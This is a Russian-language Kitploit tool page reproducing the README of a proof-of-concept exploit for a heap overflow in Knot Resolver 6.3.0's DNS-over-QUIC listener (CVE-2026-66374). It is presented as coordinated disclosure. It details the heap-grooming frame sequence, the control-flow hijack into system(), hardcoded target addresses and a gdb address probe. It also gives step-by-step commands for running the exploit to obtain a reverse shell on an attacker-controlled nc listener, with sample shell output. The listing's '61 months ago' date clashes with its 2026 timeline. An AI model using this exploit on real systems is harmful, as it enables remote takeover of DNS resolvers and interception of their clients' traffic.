Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
knot-doq — CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC переполнение кучи (RCE) | Kitploit
Инструменты/GitHubGitHub/venglin/knot-doq
Анализ уязвимостейЭксплуатацияСетевая безопасностьИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC переполнение кучи (RCE)

Репозиторий
61 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Knot Resolver 6.3.0 — переполнение кучи в DNS-over-QUIC → RCE (PoC)

Доказательство концепции удаленно срабатываемого переполнения буфера в куче в пути приема DNS-over-QUIC (DoQ) Knot Resolver, которое приводит к удаленному выполнению кода от имени пользователя службы knot-resolver.

  • Компонент: слушатель DoQ kresd (daemon/quic_conn.c)
  • Затронуто: Knot Resolver 6.3.0 (проверено на 6.3.0-cznic.1~bookworm)
  • Исправлено в: Knot Resolver 6.4.1 (выпущено 2026-07-22)
  • Класс: Выход за границы записи в куче (CWE-787)
  • Вектор: Сетевой, без аутентификации — одно QUIC-соединение
  • Воздействие: Выполнение кода от имени knot-resolver; как минимум, удаленный сбой / DoS

Опубликовано вместе с исправлением от вендора и уведомлением в рамках координированного раскрытия. Только для авторизованных исследований безопасности и защитной проверки.

Demo

Полная удаленная эксплуатация — эксплойт запускается с машины атакующего через DNS-over-QUIC, и обратная оболочка knot-resolver принимается на nc (нажмите для видео в полном разрешении):

Удаленная RCE через DNS-over-QUIC против Knot Resolver 6.3.0

Что такое Knot Resolver

Knot Resolver — это кэширующий рекурсивный DNS-резолвер с открытым исходным кодом, разработанный CZ.NIC (реестром .cz). Он разрешает DNS-запросы от имени клиентов — устройств конечных пользователей, флотов резолверов интернет-провайдеров и публичных служб резолверов — и кэширует ответы. Он поддерживает современные зашифрованные транспорты, включая DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) и DNS-over-QUIC (DoQ), и включает проверку DNSSEC и агрессивное кэширование.

Он популярен в средах крупных интернет-провайдеров, где его богатые возможности (программируемая политика, DNSSEC, зашифрованные транспорты, детализированное кэширование) и высокая производительность делают его хорошо подходящим для обслуживания очень больших баз абонентов.

Демон (kresd) — это долгоживущий сетевой сервис, который напрямую подвергается недоверенному вводу от любого хоста, способного достичь его порта прослушивания. Это делает ошибку повреждения памяти в пути приема пакетов — подобную той, что эксплуатируется здесь — удаленно доступной поверхностью атаки без аутентификации: компрометация резолвера позволяет злоумышленнику подделывать DNS-ответы для каждого нижестоящего клиента, т.е. перенаправлять или перехватывать практически весь их трафик.

Коренная причина

kr_recv_stream_data_cb() собирает кадры DoQ STREAM во входной буфер для каждого соединения (pers_inbuf). Он увеличивает этот буфер с помощью

root@kitploit:~
pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */

вместо установки размера на новое общее значение. На протяжении нескольких кадров отслеживаемый size дрейфует выше фактического выделения. Поэтому последний кадр, чей datalen помещается под завышенный size, пропускает перевыделение, но последующий memcpy() ограничивается этим завышенным размером — так он записывает за конец объекта. jemalloc удерживает объект привязанным к его реальному классу размера, поэтому лишние байты попадают в соседний слот slab.

Сводка по эксплуатации

Последовательность из шести кадров на одном потоке проводит pers_inbuf через пять классов размера jemalloc в класс 6144 байта, а затем переполняется в соседний слот:

root@kitploit:~
F1  datalen=8                    начальное выделение 1200 байт
F2  datalen=1440   realloc  ->   1536-class
F3  datalen=1440   realloc  ->   3072-class
F4  datalen=1440   realloc  ->   5120-class
F5  datalen=1440   realloc  ->   6144-class
F6  datalen=1200, FIN            нет перевыделения -> запись 814 байт за границы в slot+1

Легковесное grooming соединений (открыть несколько DoQ-соединений, освободить половину непосредственно перед запуском) организует, чтобы slot+1 содержал обработчик очистки libgnutls. Переполнение перезаписывает указатель диспетчеризации этого обработчика, его аргумент и флаг, управляющий диспетчеризацией. Во время разрыва соединения libgnutls выполняет

root@kitploit:~
call *0x110(%rbx)     ; %rbx = attacker-controlled slot+1

давая контроль над указателем инструкции (RIP) и первым аргументом (RDI). PoC направляет это на system() с указателем на предоставленную атакующим строку команды, записанную в тот же слот.

Область: ASLR

Этот PoC нацелен на хост с отключенным ASLR (kernel.randomize_va_space = 0). При отключенной рандомизации адреса кучи и libc детерминированы, поэтому два адреса, необходимые эксплойту (slot+1 и system()), являются константами для данной сборки. Обход ASLR — это отдельная задача и намеренно выходит за рамки здесь — цель состоит в демонстрации примитива повреждение памяти → управление потоком → выполнение кода в изоляции.

Поскольку эти адреса детерминированы, утечка информации не требуется: эксплойт работает полностью по сети с удаленного хоста. Адреса восстанавливаются один раз с помощью шага probe (ниже) на любой идентичной сборке, а затем жестко закодированы; в эталонной сборке они равны slot+1 = 0x7ffff66c5000 и system = 0x7ffff746a490.

Содержимое

ФайлНазначение
poc.pyЭксплойт. Режимы: probe, rip, exec.
probe.gdbОракул gdb, читающий детерминированный pers_inbuf.
README.mdЭтот документ.

Требуется Python 3 с aioquic и netcat на стороне атакующего, а также gdb на цели только для одноразового шага probe.

Использование — удаленная обратная оболочка (без утечки информации)

Это основная демонстрация: эксплойт запускается с машины атакующего по сети с двумя жестко закодированными детерминированными адресами. Ничего не считывается с цели — ни /proc, ни gdb, ни журналы.

root@kitploit:~
# On the attacker box: listen for the shell
$ nc -lvnp 4444                    # Linux;  on macOS/BSD:  nc -l 4444

# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
      --host <target> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <attacker-ip> --lport 4444 \
      --rounds 250

Каждый успешный раунд вызывает system() на цели с командой обратной оболочки; оболочка подключается обратно к --lhost:--lport, где nc принимает ее. Когда она появится, вводите команды в сессию netcat для управления оболочкой:

root@kitploit:~
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

Значения --slot1 / --system восстанавливаются один раз с помощью шага probe на любой идентичной сборке; они являются константами при выключенном ASLR.

Восстановление адресов (одноразовый зонд)

Значения --slot1 / --system выше являются константами при выключенном ASLR; восстановите их один раз на любой идентичной сборке. Предварительное условие:

root@kitploit:~
$ sudo sysctl -w kernel.randomize_va_space=0
root@kitploit:~
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8 дополнительно демонстрирует прямой контроль RIP/RDI (цель падает по указателю инструкции, выбранному атакующим).

Надежность

Измерено на эталонной сборке (Debian 12, 6.3.0-cznic.1, ASLR отключен):

ПримитивЧастота
Управление RIP/RDI (rip, сбой)~7/8 за раунд
Полное выполнение system() (exec)~1 из 30–50 раундов

Разрыв неизбежен: system() выполняется на куче, которую только что повредило переполнение, поэтому большинство диспетчеризаций приводят к сбою kresd до появления дочернего процесса. Демон перезапускается супервизором после каждого сбоя, адрес детерминирован при выключенном ASLR, и каждая попытка независима — поэтому цикл exec просто повторяет попытки, пока одна не сработает (в удаленном запуске выше оболочка появилась на 5-м раунде). Неудачная попытка — это временный сбой рабочего процесса (DoS). Параметры подготовки --groom 16 --close 8 --qpc 4 являются эмпирически лучшими значениями по умолчанию; более интенсивное закрытие (например, --close 16 при --groom 32) снижает процент попаданий.

Эталонная среда

root@kitploit:~
ОС        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    слушатель DoQ на 127.0.0.1@8853

Геометрия классов размера (шесть кадров, полезные нагрузки 1200/1440 байт) и смещение диспетчеризации libgnutls специфичны для этой сборки; для других сборок необходимо заново вывести размеры кадров и смещения.

График раскрытия

ДатаСобытие
2026-06-08Уязвимость сообщена вендору (CZ.NIC).
2026-07-22Исправление выпущено в Knot Resolver 6.4.1 с уведомлением от вендора.
2026-07-23Опубликованы этот PoC и описание.

Раскрытие и лицензия

Сообщено вендору 2026-06-08 и опубликовано в координации с официальным исправлением (6.4.1, 2026-07-22). Предоставлено для авторизованного тестирования, защитной проверки и исследований. Не запускайте его против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

SPDX-License-Identifier: MIT

Скачать инструмент